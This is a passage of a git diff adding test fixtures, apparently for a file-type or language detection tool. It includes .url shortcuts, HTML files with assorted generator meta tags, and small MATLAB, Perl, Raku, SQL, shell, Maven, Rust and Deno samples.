+[InternetShortcut]
+URL=http://www.someaddress.com/
diff --git a/test/fixtures/Generic/url/INI/frameset.url b/test/fixtures/Generic/url/INI/frameset.url
new file mode 100644
index 0000000000..39f3acd075
--- /dev/null
+++ b/test/fixtures/Generic/url/INI/frameset.url
@@ -0,0 +1,16 @@
+[DEFAULT]
+BASEURL=http://www.someaddress.com
+[DOC#4#5]
+BASEURL=http://www.someaddress.com/frame1.html
+ORIGURL=frame1.html
+[DOC#4#5#4#6]
+BASEURL=http://www.someaddress.com/frame1a.html
+ORIGURL=frame1a.html
+[DOC#4#5#4#7]
+BASEURL=http://www.someaddress.com/frame1b.html
+ORIGURL=frame1b.html
+[DOC#4#6]
+BASEURL=http://www.someaddress.com/frame2.html
+ORIGURL=frame2.html
+[InternetShortcut]
+URL=http://www.someaddress.com/
diff --git a/test/fixtures/Generic/url/INI/minimal.http.url b/test/fixtures/Generic/url/INI/minimal.http.url
new file mode 100644
index 0000000000..541c42ef47
--- /dev/null
+++ b/test/fixtures/Generic/url/INI/minimal.http.url
@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=https://fileinfo.com/extension/url
diff --git a/test/fixtures/Generic/url/INI/minimal.mailto.url b/test/fixtures/Generic/url/INI/minimal.mailto.url
new file mode 100644
index 0000000000..4e034ef413
--- /dev/null
+++ b/test/fixtures/Generic/url/INI/minimal.mailto.url
@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=mailto:feedback@fileinfo.com
diff --git a/test/fixtures/Generic/url/INI/other-fields.url b/test/fixtures/Generic/url/INI/other-fields.url
new file mode 100644
index 0000000000..387a6a15b8
--- /dev/null
+++ b/test/fixtures/Generic/url/INI/other-fields.url
@@ -0,0 +1,8 @@
+[InternetShortcut]
+URL=http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html
+WorkingDirectory=C:\WINDOWS\
+ShowCommand=7
+IconIndex=1
+IconFile=C:\WINDOWS\SYSTEM\url.dll
+Modified=20F06BA06D07BD014D
+HotKey=1601
diff --git "a/test/fixtures/Generic/url/INI/\347\273\277\347\233\237.url" "b/test/fixtures/Generic/url/INI/\347\273\277\347\233\237.url"
new file mode 100644
index 0000000000..163e1a3373
--- /dev/null
+++ "b/test/fixtures/Generic/url/INI/\347\273\277\347\233\237.url"
@@ -0,0 +1,10 @@
+[DEFAULT]
+BASEURL=http://xdowns.com
+[InternetShortcut]
+URL=http://www.xdowns.com/
+Modified=00BE40B83DF5C801B1
+IconFile=C:\WINDOWS\System32\shell32.dll
+IconIndex=130
+[InternetShortcut.A]
+[InternetShortcut.W]
+IconFile=C:+AFw-Documents and Settings+AFw-Administrator+AFxoTJdiAFw-logo.ico
diff --git a/test/fixtures/Generic/url/nil/broken-assignment.url b/test/fixtures/Generic/url/nil/broken-assignment.url
new file mode 100644
index 0000000000..2237aea6d3
--- /dev/null
+++ b/test/fixtures/Generic/url/nil/broken-assignment.url
@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL = http://localhost/
diff --git a/test/fixtures/Generic/url/nil/broken-header.url b/test/fixtures/Generic/url/nil/broken-header.url
new file mode 100644
index 0000000000..0400594a9d
--- /dev/null
+++ b/test/fixtures/Generic/url/nil/broken-header.url
@@ -0,0 +1,2 @@
+[ Internet Shortcut ]
+URL=Shouldn't happen (embedded whitespace)
diff --git a/test/fixtures/Generic/url/nil/broken-section.url b/test/fixtures/Generic/url/nil/broken-section.url
new file mode 100644
index 0000000000..b4c2341a2e
--- /dev/null
+++ b/test/fixtures/Generic/url/nil/broken-section.url
@@ -0,0 +1,3 @@
+[InternetShortcut]
+
+URL=http://foo.bar/
diff --git a/test/fixtures/Generic/url/nil/literal.url b/test/fixtures/Generic/url/nil/literal.url
new file mode 100644
index 0000000000..c131c3da42
--- /dev/null
+++ b/test/fixtures/Generic/url/nil/literal.url
@@ -0,0 +1 @@
+https://youtu.be/g18u5elxY5Q
\ No newline at end of file
diff --git a/test/fixtures/HTML/attr-swapped.html b/test/fixtures/HTML/attr-swapped.html
new file mode 100644
index 0000000000..fe8ce4bb5b
--- /dev/null
+++ b/test/fixtures/HTML/attr-swapped.html
@@ -0,0 +1,8 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta
+content = "Org mode"
+name = "generator" >
+</head>
+</html>
diff --git a/test/fixtures/HTML/extra-attr.html b/test/fixtures/HTML/extra-attr.html
new file mode 100644
index 0000000000..cee79e0fef
--- /dev/null
+++ b/test/fixtures/HTML/extra-attr.html
@@ -0,0 +1,12 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta
+	data-foo="Bar"
+	http-equiv="Content-Type: text/html; charset=UTF-8"
+	content = "Org mode"
+	id="Some wicked id"
+	wrong-content="whoops"
+	name = "generator" >
+</head>
+</html>
diff --git a/test/fixtures/HTML/extra-spaces.html b/test/fixtures/HTML/extra-spaces.html
new file mode 100644
index 0000000000..8e971021ca
--- /dev/null
+++ b/test/fixtures/HTML/extra-spaces.html
@@ -0,0 +1,6 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta name = "generator"   content = "Org mode" />
+</head>
+</html>
diff --git a/test/fixtures/HTML/extra-tags.html b/test/fixtures/HTML/extra-tags.html
new file mode 100644
index 0000000000..298279b9bc
--- /dev/null
+++ b/test/fixtures/HTML/extra-tags.html
@@ -0,0 +1,7 @@
+<!DOCTYPE html>
+<html>
+<meta >
+<meta name="generator" content="something invalid">
+<meta name="generator" content="makeinfo 4.8"
+/>
+</html>
diff --git a/test/fixtures/HTML/grohtml.html b/test/fixtures/HTML/grohtml.html
new file mode 100644
index 0000000000..6a9ade28aa
--- /dev/null
+++ b/test/fixtures/HTML/grohtml.html
@@ -0,0 +1,21 @@
+<!-- Creator     : groff version 1.22.4 -->
+<!-- CreationDate: Tue Jul  2 20:06:41 2019 -->
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
+<meta name="Content-Style" content="text/css">
+<style type="text/css">
+       p       { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       pre     { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       table   { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       h1      { text-align: center }
+</style>
+<title></title>
+</head>
+<body>
+... document truncated
+</body>
+</html>
diff --git a/test/fixtures/HTML/grohtml.xhtml b/test/fixtures/HTML/grohtml.xhtml
new file mode 100644
index 0000000000..a5d28c79fc
--- /dev/null
+++ b/test/fixtures/HTML/grohtml.xhtml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="us-ascii"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+ "http://www.w3.org/TR/MathML2/dtd/xhtml-math11-f.dtd"
+ [<!ENTITY mathml "http://www.w3.org/1998/Math/MathML">]>
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
+<head>
+<meta name="generator" content="groff -Txhtml, see www.gnu.org"/>
+<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"/>
+<meta name="Content-Style" content="text/css"/>
+<style type="text/css">
+       .center { text-align: center }
+       .right  { text-align: right }
+       p       { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       pre     { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       table   { margin-top: 0; margin-bottom: 0; vertical-align: top }
+       h1      { text-align: center }
+</style>
+<!-- Creator     : groff version 1.22.4 -->
+<!-- CreationDate: Tue Jul  2 20:08:09 2019 -->
+<title></title>
+</head>
+<body>
+... truncated
+</body>
+</html>
diff --git a/test/fixtures/HTML/makeinfo.html b/test/fixtures/HTML/makeinfo.html
new file mode 100644
index 0000000000..f754e94f63
--- /dev/null
+++ b/test/fixtures/HTML/makeinfo.html
@@ -0,0 +1,47 @@
+<html lang="en">
+<head>
+<title>Asm Mode - GNU Emacs Manual</title>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<meta name="description" content="GNU Emacs Manual">
+<meta name="generator" content="makeinfo 4.8">
+<link title="Top" rel="start" href="index.html#Top">
+<link rel="up" href="Programs.html#Programs" title="Programs">
+<link rel="prev" href="C-Modes.html#C-Modes" title="C Modes">
+<link rel="next" href="Fortran.html#Fortran" title="Fortran">
+<link href="http://www.gnu.org/software/texinfo/" rel="generator-home" title="Texinfo Homepage">
+<!--
+This is the `GNU Emacs Manual',
+updated for Emacs version {No value for `EMACSVER'}.
+
+Copyright (C) 1985--1987, 1993--2019 Free Software Foundation, Inc.
+
+     Permission is granted to copy, distribute and/or modify this
+     document under the terms of the GNU Free Documentation License,
+     Version 1.3 or any later version published by the Free Software
+     Foundation; with the Invariant Sections being ``The GNU
+     Manifesto,'' ``Distribution'' and ``GNU GENERAL PUBLIC LICENSE,''
+     with the Front-Cover Texts being ``A GNU Manual,'' and with the
+     Back-Cover Texts as in (a) below.  A copy of the license is
+     included in the section entitled ``GNU Free Documentation
+     License.''
+
+     (a) The FSF's Back-Cover Text is: ``You have the freedom to copy
+     and modify this GNU manual.  Buying copies from the FSF supports
+     it in developing GNU and promoting software freedom.''
+   -->
+<meta http-equiv="Content-Style-Type" content="text/css">
+<style type="text/css"><!--
+  pre.display { font-family:inherit }
+  pre.format  { font-family:inherit }
+  pre.smalldisplay { font-family:inherit; font-size:smaller }
+  pre.smallformat  { font-family:inherit; font-size:smaller }
+  pre.smallexample { font-size:smaller }
+  pre.smalllisp    { font-size:smaller }
+  span.sc    { font-variant:small-caps }
+  span.roman { font-family:serif; font-weight:normal; } 
+  span.sansserif { font-family:sans-serif; font-weight:normal; } 
+--></style>
+</head>
+<body>
+</body>
+</html>
diff --git a/test/fixtures/HTML/mandoc.html b/test/fixtures/HTML/mandoc.html
new file mode 100644
index 0000000000..21c6bfb08f
--- /dev/null
+++ b/test/fixtures/HTML/mandoc.html
@@ -0,0 +1,40 @@
+<!DOCTYPE html>
+<html>
+<!-- This is an automatically generated file.  Do not edit.
+  	$OpenBSD: mandoc.1,v 1.161 2019/02/23 18:52:45 schwarze Exp $
+  
+   Copyright (c) 2009, 2010, 2011 Kristaps Dzonsons <kristaps@bsd.lv>
+   Copyright (c) 2012, 2014-2018 Ingo Schwarze <schwarze@openbsd.org>
+  
+   Permission to use, copy, modify, and distribute this software for any
+   purpose with or without fee is hereby granted, provided that the above
+   copyright notice and this permission notice appear in all copies.
+  
+   THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+   WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+   MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+   ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+   WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+   ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+   OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+   -->
+<head>
+  <meta charset="utf-8"/>
+  <style>
+    table.head, table.foot { width: 100%; }
+    td.head-rtitle, td.foot-os { text-align: right; }
+    td.head-vol { text-align: center; }
+    div.Pp { margin: 1ex 0ex; }
+    div.Nd, div.Bf, div.Op { display: inline; }
+    span.Pa, span.Ad { font-style: italic; }
+    span.Ms { font-weight: bold; }
+    dl.Bl-diag > dt { font-weight: bold; }
+    code.Nm, code.Fl, code.Cm, code.Ic, code.In, code.Fd, code.Fn,
+    code.Cd { font-weight: bold; font-family: inherit; }
+  </style>
+  <title>MANDOC(1)</title>
+</head>
+<body>
+... document truncated
+</body>
+</html>
diff --git a/test/fixtures/HTML/no-content.html b/test/fixtures/HTML/no-content.html
new file mode 100644
index 0000000000..e61c29c37c
--- /dev/null
+++ b/test/fixtures/HTML/no-content.html
@@ -0,0 +1,4 @@
+<!DOCTYPE html>
+<html>
+<meta name="generator" value="Some sick tool nobody's using yet" />
+</html>
diff --git a/test/fixtures/HTML/node78.html b/test/fixtures/HTML/node78.html
new file mode 100644
index 0000000000..fa1b88069c
--- /dev/null
+++ b/test/fixtures/HTML/node78.html
@@ -0,0 +1,73 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
+
+<!--Converted with jLaTeX2HTML 2002-2-1 (1.70) JA patch-2.0
+patched version by:  Kenshi Muto, Debian Project.
+* modified by:  Shige TAKENO
+LaTeX2HTML 2002-2-1 (1.70),
+original version by:  Nikos Drakos, CBLU, University of Leeds
+* revised and updated by:  Marcus Hennecke, Ross Moore, Herb Swan
+* with significant contributions from:
+  Jens Lippmann, Marek Rouchal, Martin Wilck and others -->
+<HTML>
+<HEAD>
+<TITLE>Quality/Complexity metric plugins</TITLE>
+<META NAME="description" CONTENT="Quality/Complexity metric plugins">
+<META NAME="keywords" CONTENT="main">
+<META NAME="resource-type" CONTENT="document">
+<META NAME="distribution" CONTENT="global">
+
+<META NAME="Generator" CONTENT="jLaTeX2HTML v2002-2-1 JA patch-2.0">
+<META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css">
+
+<LINK REL="STYLESHEET" HREF="main.css">
+
+<LINK REL="next" HREF="node79.html">
+<LINK REL="previous" HREF="node77.html">
+<LINK REL="up" HREF="node74.html">
+<LINK REL="next" HREF="node79.html">
+</HEAD>
+
+<BODY >
+<!--Navigation Panel-->
+<A NAME="tex2html1237"
+  HREF="node79.html">
+<IMG WIDTH="37" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="next"
+ SRC="file:/usr/share/latex2html/icons/next.png"></A> 
+<A NAME="tex2html1233"
+  HREF="node74.html">
+<IMG WIDTH="26" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="up"
+ SRC="file:/usr/share/latex2html/icons/up.png"></A> 
+<A NAME="tex2html1227"
+  HREF="node77.html">
+<IMG WIDTH="63" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="previous"
+ SRC="file:/usr/share/latex2html/icons/prev.png"></A> 
+<A NAME="tex2html1235"
+  HREF="node1.html">
+<IMG WIDTH="65" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="contents"
+ SRC="file:/usr/share/latex2html/icons/contents.png"></A>  
+<BR>
+<B> Next:</B> <A NAME="tex2html1238"
+  HREF="node79.html">Time signal generator</A>
+<B> Up:</B> <A NAME="tex2html1234"
+  HREF="node74.html">Additional simulator components</A>
+<B> Previous:</B> <A NAME="tex2html1228"
+  HREF="node77.html">Weather scenario ()</A>
+ &nbsp; <B>  <A NAME="tex2html1236"
+  HREF="node1.html">Contents</A></B> 
+<BR>
+<BR>
+<!--End of Navigation Panel-->
+
+<H3><A NAME="SECTION000101400000000000000">
+Quality/Complexity metric plugins</A>
+</H3>
+Various plugins to measure schedule quality and problem complexity to suit the application.
+
+<P>
+<BR><HR>
+<ADDRESS>
+Steve Fraser
+2008-01-31
+</ADDRESS>
+</BODY>
+</HTML>
diff --git a/test/fixtures/HTML/org-mode.html b/test/fixtures/HTML/org-mode.html
new file mode 100644
index 0000000000..47fca7c443
--- /dev/null
+++ b/test/fixtures/HTML/org-mode.html
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+<!-- 2019-06-08 Sat 04:15 -->
+<meta http-equiv="Content-Type" /
+      content="text/html;charset=utf-8" />
+<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>unpackaged.el</title>
+<meta name="generator" content="Org mode" />
+<meta name="author" content="Adam Porter" />
+<style type="text/css">
+ <!--/*--><![CDATA[/*><!--*/
+</style>
+</head>
+<body>
+</body>
+</html>
diff --git a/test/fixtures/HTML/quotes-double.html b/test/fixtures/HTML/quotes-double.html
new file mode 100644
index 0000000000..354058a0f1
--- /dev/null
+++ b/test/fixtures/HTML/quotes-double.html
@@ -0,0 +1,10 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta
+	name ="generator"
+	content   =
+	"Org mode"
+>
+</head>
+</html>
diff --git a/test/fixtures/HTML/quotes-none.html b/test/fixtures/HTML/quotes-none.html
new file mode 100644
index 0000000000..b18dca4045
--- /dev/null
+++ b/test/fixtures/HTML/quotes-none.html
@@ -0,0 +1,6 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta name = generator   content = makeinfo />
+</head>
+</html>
diff --git a/test/fixtures/HTML/quotes-single.html b/test/fixtures/HTML/quotes-single.html
new file mode 100644
index 0000000000..93dda36325
--- /dev/null
+++ b/test/fixtures/HTML/quotes-single.html
@@ -0,0 +1,6 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta   name = 'generator'   content   =       'Org mode'>
+</head>
+</html>
diff --git a/test/fixtures/HTML/ronn.html b/test/fixtures/HTML/ronn.html
new file mode 100644
index 0000000000..5374a17e7d
--- /dev/null
+++ b/test/fixtures/HTML/ronn.html
@@ -0,0 +1,4 @@
+<!DOCTYPE html>
+<html>
+<meta name="generator" value="Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)" />
+</html>
diff --git a/test/fixtures/HTML/unknown.html b/test/fixtures/HTML/unknown.html
new file mode 100644
index 0000000000..c787b24fe5
--- /dev/null
+++ b/test/fixtures/HTML/unknown.html
@@ -0,0 +1,4 @@
+<!DOCTYPE html>
+<html>
+<meta name="generator" content="Some sick tool nobody's using yet" />
+</html>
diff --git a/test/fixtures/HTML/uppercase.html b/test/fixtures/HTML/uppercase.html
new file mode 100644
index 0000000000..d8c7e53193
--- /dev/null
+++ b/test/fixtures/HTML/uppercase.html
@@ -0,0 +1,8 @@
+<!DOCTYPE html>
+<html>
+<head>
+<META   NAME= 'GENERATOR'
+	CONTENT 
+	= 	 'ORG MODE'>
+</head>
+</html>
diff --git a/test/fixtures/MATLAB/colorspace.m b/test/fixtures/MATLAB/colorspace.m
new file mode 100644
index 0000000000..cc12fcdb3d
--- /dev/null
+++ b/test/fixtures/MATLAB/colorspace.m
@@ -0,0 +1,39 @@
+%COLORSPACE   Gets/sets/changes the color space.
+%    IN = COLORSPACE(IN,COL), with IN a color image, changes the color
+%    space of image IN to COL, converting the pixel values as required.
+%    If COL is 'grey', a scalar image is returned with the luminosity (Y).
+%    If COL is '', no transformation is made, the color space information
+%    is simply removed.
+%
+%    A color space is any string recognized by the system. It is possible
+%    to specify any other string as color space, but no conversion of pixel
+%    values can be made, since the system doesn't know about that color
+%    space. Color space names are not case sensitive. Recognized color
+%    spaces are:
+%
+%       grey (or gray)
+%       RGB
+%       sRGB
+%       CMY
+%       CMYK
+%       HSI
+%       ICH
+%       ISH
+%       HCV
+%       HSV
+%       XYZ
+%       Yxy
+%       Lab (or L*a*b*, CIELAB)
+%       Luv (or L*u*v*, "CIELUV")
+%       LCH (or L*C*H*)
+%
+%    See also: dip_image/iscolor
+
+function obj = colorspace(obj,col)
+if nargin==1
+   obj = obj.ColorSpace;
+elseif isempty(col)
+   obj.ColorSpace = '';
+else
+   obj = colorspacemanager(obj,col);
+end
diff --git a/test/fixtures/Makefile/Makefile b/test/fixtures/Makefile/Makefile
new file mode 100755
index 0000000000..b79c161d1b
--- /dev/null
+++ b/test/fixtures/Makefile/Makefile
@@ -0,0 +1,5 @@
+SUBDIRS:=components test
+.PHONY: ${SUBDIRS} clean
+all:${SUBDIRS}
+${SUBDIRS}:
+	${MAKE} -C $@ all
diff --git a/test/fixtures/Maven POM/pom.xml b/test/fixtures/Maven POM/pom.xml
new file mode 100644
index 0000000000..36e0666407
--- /dev/null
+++ b/test/fixtures/Maven POM/pom.xml	
@@ -0,0 +1,57 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+<groupId>awilbur.personal</groupId>
+ <artifactId>hudsel</artifactId>
+ <version>1.0-SNAPSHOT</version>
+ <packaging>jar</packaging>
+<name>hudsel</name>
+<properties>
+ <suiteXmlFile>src/test/resources/testng.xml</suiteXmlFile>
+ <skipTests>false</skipTests>
+ </properties>
+<dependencies>
+ <!-- Adding TestNG for unit test support -->
+ <dependency>
+ <groupId>org.testng</groupId>
+ <artifactId>testng</artifactId>
+ <version>6.8</version>
+ </dependency>
+ <!-- Adding Selenium dependency -->
+ <dependency>
+ <groupId>org.seleniumhq.selenium</groupId>
+ <artifactId>selenium-server</artifactId>
+ <version>2.41.0</version>
+ </dependency>
+ </dependencies>
+ <build>
+ <plugins>
+ <!-- using the compiler plug-in to specify that this project is to be compiled with JDK 1.6 -->
+ <!-- This is needed so that we get the JDK annotation support that was introduced recently -->
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <source>1.6</source>
+ <target>1.6</target>
+ </configuration>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-plugin</artifactId>
+ <version>2.6</version>
+ <configuration>
+ <!-- You can specify a specific testng.xml file here <suiteXmlFiles>
+ <suiteXmlFile>src/test/resources/testng-sample.xml</suiteXmlFile> </suiteXmlFiles> -->
+ <!-- Or dynamically with something like '-DsuiteXmlFile=src/test/resources/testng-sample.xml' -->
+ <suiteXmlFiles>
+ <suiteXmlFile>${suiteXmlFile}</suiteXmlFile>
+ </suiteXmlFiles>
+ <!-- Build with '-DskipTests=true' to bypass test execution @ build time Default: false -->
+ <skipTests>${skipTests}</skipTests>
+ <testFailureIgnore>true</testFailureIgnore>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+ </project>
diff --git a/test/fixtures/Perl/01-methods.pl b/test/fixtures/Perl/01-methods.pl
new file mode 100644
index 0000000000..251bd4b0dc
--- /dev/null
+++ b/test/fixtures/Perl/01-methods.pl
@@ -0,0 +1,51 @@
+#!perl
+use Test::More;
+use Test::Exception;
+
+use_ok 'Music::ScaleNote';
+
+my $msn = Music::ScaleNote->new(
+    scale_note => 'C',
+    scale_name => 'pminor',
+#    verbose    => 1,
+);
+isa_ok $msn, 'Music::ScaleNote';
+
+my $x;
+
+throws_ok { $x = $msn->get_offset() }
+    qr/note_name, note_format or offset not provided/, 'invalid get_offset';
+
+my $format = 'midinum';
+$x = $msn->get_offset(
+    note_name   => 60,
+    note_format => $format,
+    offset      => 1,
+);
+is $x->format($format), 63, 'get_offset';
+
+$format = 'ISO';
+$x = $msn->get_offset(
+    note_name   => 'D#4',
+    note_format => $format,
+    offset      => -1,
+);
+is $x->format($format), 'C4', 'get_offset';
+
+throws_ok {
+    $x = $msn->get_offset(
+        note_name   => 'C0',
+        note_format => $format,
+        offset      => -1,
+    )
+} qr/Octave: -1 out of bounds/, 'out of bounds';
+
+throws_ok {
+    $x = $msn->get_offset(
+        note_name   => 'A#127',
+        note_format => $format,
+        offset      => 1,
+    )
+} qr/Octave: 128 out of bounds/, 'out of bounds';
+
+done_testing();
diff --git a/test/fixtures/Perl/Module.pm b/test/fixtures/Perl/Module.pm
new file mode 100644
index 0000000000..d930cc6619
--- /dev/null
+++ b/test/fixtures/Perl/Module.pm
@@ -0,0 +1,8 @@
+use 5.006;
+use strict;
+
+=head1
+
+module
+
+=cut
diff --git a/test/fixtures/Raku/chromosome.pl b/test/fixtures/Raku/chromosome.pl
new file mode 100644
index 0000000000..82fb719d7c
--- /dev/null
+++ b/test/fixtures/Raku/chromosome.pl
@@ -0,0 +1,9 @@
+class Chromosome {
+  has Seq $.chromosome is rw;
+  has $.fitness is rw;
+
+}
+
+my $len = 32;
+my $this-chromosome = Chromosome.new( chromosome => map( { rand >= 0.5 ?? True !! False }, 1..$len )  );
+say $this-chromosome.chromosome();
diff --git a/test/fixtures/Rust/.sqlx/query-2b8b1aae3740a05cb7179be9c7d5af30e8362c3cba0b07bc18fa32ff1a2232cc.json b/test/fixtures/Rust/.sqlx/query-2b8b1aae3740a05cb7179be9c7d5af30e8362c3cba0b07bc18fa32ff1a2232cc.json
new file mode 100644
index 0000000000..d4b4d31a53
--- /dev/null
+++ b/test/fixtures/Rust/.sqlx/query-2b8b1aae3740a05cb7179be9c7d5af30e8362c3cba0b07bc18fa32ff1a2232cc.json
@@ -0,0 +1,23 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "SELECT releases.files\n            FROM releases\n            INNER JOIN crates ON crates.id = releases.crate_id\n            WHERE crates.name = $1 AND releases.version = $2",
+  "describe": {
+    "columns": [
+      {
+        "ordinal": 0,
+        "name": "files",
+        "type_info": "Json"
+      }
+    ],
+    "parameters": {
+      "Left": [
+        "Text",
+        "Text"
+      ]
+    },
+    "nullable": [
+      true
+    ]
+  },
+  "hash": "2b8b1aae3740a05cb7179be9c7d5af30e8362c3cba0b07bc18fa32ff1a2232cc"
+}
diff --git a/test/fixtures/SQL/set_at_at.sql b/test/fixtures/SQL/set_at_at.sql
new file mode 100644
index 0000000000..c326eda708
--- /dev/null
+++ b/test/fixtures/SQL/set_at_at.sql
@@ -0,0 +1 @@
+SET @@GLOBAL.max_connections = 1000;
diff --git a/test/fixtures/SQL/sysdate.sql b/test/fixtures/SQL/sysdate.sql
new file mode 100644
index 0000000000..2ac0d84f10
--- /dev/null
+++ b/test/fixtures/SQL/sysdate.sql
@@ -0,0 +1 @@
+SELECT SYSDATE();
diff --git a/test/fixtures/Shell/ash-env b/test/fixtures/Shell/ash-env
new file mode 100644
index 0000000000..f02fa3d961
--- /dev/null
+++ b/test/fixtures/Shell/ash-env
@@ -0,0 +1,2 @@
+#!/usr/bin/env ash
+echo "ash"
diff --git a/test/fixtures/Shell/dash-env b/test/fixtures/Shell/dash-env
new file mode 100644
index 0000000000..ec7d7a49ee
--- /dev/null
+++ b/test/fixtures/Shell/dash-env
@@ -0,0 +1,2 @@
+#!/usr/bin/env dash
+echo "dash"
diff --git a/test/fixtures/Shell/ksh-env b/test/fixtures/Shell/ksh-env
new file mode 100644
index 0000000000..004054bd35
--- /dev/null
+++ b/test/fixtures/Shell/ksh-env
@@ -0,0 +1,2 @@
+#!/usr/bin/env ksh
+echo "ksh"
diff --git a/test/fixtures/Shell/mksh b/test/fixtures/Shell/mksh
new file mode 100644
index 0000000000..6976d98ce6
--- /dev/null
+++ b/test/fixtures/Shell/mksh
@@ -0,0 +1,2 @@
+#!/bin/mksh
+echo "mksh"
diff --git a/test/fixtures/Shell/pdksh-env b/test/fixtures/Shell/pdksh-env
new file mode 100644
index 0000000000..5ef5ac47a3
--- /dev/null
+++ b/test/fixtures/Shell/pdksh-env
@@ -0,0 +1,2 @@
+#!/usr/bin/env pdksh
+echo "pdksh"
diff --git a/samples/Text/ISO-2022-KR.txt b/test/fixtures/Text/ISO-2022-KR.txt
similarity index 100%
rename from samples/Text/ISO-2022-KR.txt
rename to test/fixtures/Text/ISO-2022-KR.txt
diff --git a/test/fixtures/TypeScript/main b/test/fixtures/TypeScript/main
new file mode 100644
index 0000000000..dd69bd5bb3
--- /dev/null
+++ b/test/fixtures/TypeScript/main
@@ -0,0 +1,65 @@
+#!/usr/bin/env deno
+// Copyright 2018-2019 the Deno authors. All rights reserved. MIT license.
+
+const { args, env, exit, readFile } = Deno;
+import { parse } from "https://deno.land/std/flags/mod.ts";
+
+function pathBase(p: string): string {
+	const parts = p.split("/");
+	return parts[parts.length - 1];
+}
+
+async function main(): Promise<void> {
+	const token = env()["GIST_TOKEN"];
+	if (!token) {
+		console.error("GIST_TOKEN environmental variable not set.");
+		console.error("Get a token here: https://github.com/settings/tokens");
+		exit(1);
+	}
+
+	const parsedArgs = parse(args.slice(1));
+
+	if (parsedArgs._.length === 0) {
+		console.error(
+			"Usage: gist.ts --allow-env --allow-net [-t|--title Example] some_file [next_file]"
+		);
+		exit(1);
+	}
+
+	const files = {};
+	for (const filename of parsedArgs._) {
+		const base = pathBase(filename);
+		const content = await readFile(filename);
+		const contentStr = new TextDecoder().decode(content);
+		files[base] = { content: contentStr };
+	}
+
+	const content = {
+		description: parsedArgs.title || parsedArgs.t || "Example",
+		public: false,
+		files: files
+	};
+	const body = JSON.stringify(content);
+
+	const res = await fetch("https://api.github.com/gists", {
+		method: "POST",
+		headers: [
+			["Content-Type", "application/json"],
+			["User-Agent", "Deno-Gist"],
+			["Authorization", `token ${token}`]
+		],
+		body
+	});
+
+	if (res.ok) {
+		let resObj = await res.json();
+		console.log("Success");
+		console.log(resObj["html_url"]);
+	}
+	else {
+		let err = await res.text();
+	    	console.error("Failure to POST", err);
+	}
+}
+
+main();
diff --git a/test/fixtures/XML/AssertionIDRequestOptionalAttributes.xml.svn-base b/test/fixtures/XML/AssertionIDRequestOptionalAttributes.xml.svn-base
new file mode 100644
index 0000000000..5e09f23db4
--- /dev/null
+++ b/test/fixtures/XML/AssertionIDRequestOptionalAttributes.xml.svn-base
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-16"?>
+<samlp:AssertionIDRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="abc123" Version="2.0" IssueInstant="2006-02-21T16:40:00.000Z" Consent="urn:string:consent" Destination="http://idp.example.org/endpoint"></samlp:AssertionIDRequest>
\ No newline at end of file
diff --git a/test/fixtures/Data/app.config b/test/fixtures/XML/app.config
